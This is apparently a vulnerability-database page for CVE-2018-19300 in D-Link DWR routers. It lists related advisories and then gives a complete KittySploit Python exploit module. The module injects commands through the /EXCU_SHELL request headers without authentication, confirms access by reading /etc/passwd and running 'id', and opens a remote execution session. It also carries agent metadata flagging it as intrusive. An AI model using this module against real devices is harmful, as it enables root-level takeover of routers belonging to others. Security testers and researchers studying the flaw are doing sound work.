D-Link DWR - EXCU_SHELL Command Injection (CVE-2018-19300)
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| The vulnerability of the EXCU_SHELL component in D-Link’s microprogramming router software allows a hacker to execute arbitrary commands on a vulnerable device under the control of the root user. | 4 Jul 201900:00 | – | bdu_fstec | |
| Multiple D-Link Products Input Validation Error Vulnerability | 15 Apr 201900:00 | – | cnvd | |
| CVE-2018-19300 | 11 Apr 201915:22 | – | cve | |
| CVE-2018-19300 | 11 Apr 201915:22 | – | cvelist | |
| D-Link DWR - EXCU_SHELL RCE Detection (CVE-2018-19300) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2018-19300 | 11 Apr 201916:29 | – | nvd | |
| D-Link DWR/DAP 'EXCU_SHELL' RCE Vulnerability - Active Check | 8 Nov 201800:00 | – | openvas | |
| CVE-2018-19300 | 11 Apr 201916:29 | – | osv | |
| Design/Logic Flaw | 11 Apr 201916:29 | – | prion | |
| PT-2019-2543 · D Link · Dap-1530 +7 | 11 Apr 201900:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DWR EXCU_SHELL unauthenticated RCE (CVE-2018-19300) — opens execute session."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'D-Link DWR - EXCU_SHELL Command Injection (CVE-2018-19300)',
'description': (
'Exploits unauthenticated OS command injection on D-Link DWR devices via '
'/EXCU_SHELL headers cmdnum/command1/confirm1.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2018-19300'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-19300'],
'tags': ['dlink', 'router', 'iot', 'rce', 'cmdi', 'unauth', 'cve-2018-19300'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2018_19300_detect'],
},
},
}
def execute(self, cmd: str) -> str:
r = self.http_request(
method='GET',
path='/EXCU_SHELL',
headers={'cmdnum': '1', 'command1': str(cmd), 'confirm1': 'n'},
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('cat /etc/passwd')
if re.search(r'root:.*:0:0:', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2018-19300 confirmed: /etc/passwd via EXCU_SHELL',
'confidence': 'high',
}
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2018-19300 confirmed: id output returned',
'confidence': 'high',
}
return {'vulnerable': False, 'reason': 'No command output observed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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10 Aug 2026 06:19Current
8.7High risk
Vulners AI Score8.7
CVSS 39.8
CVSS 210
EPSS0.74276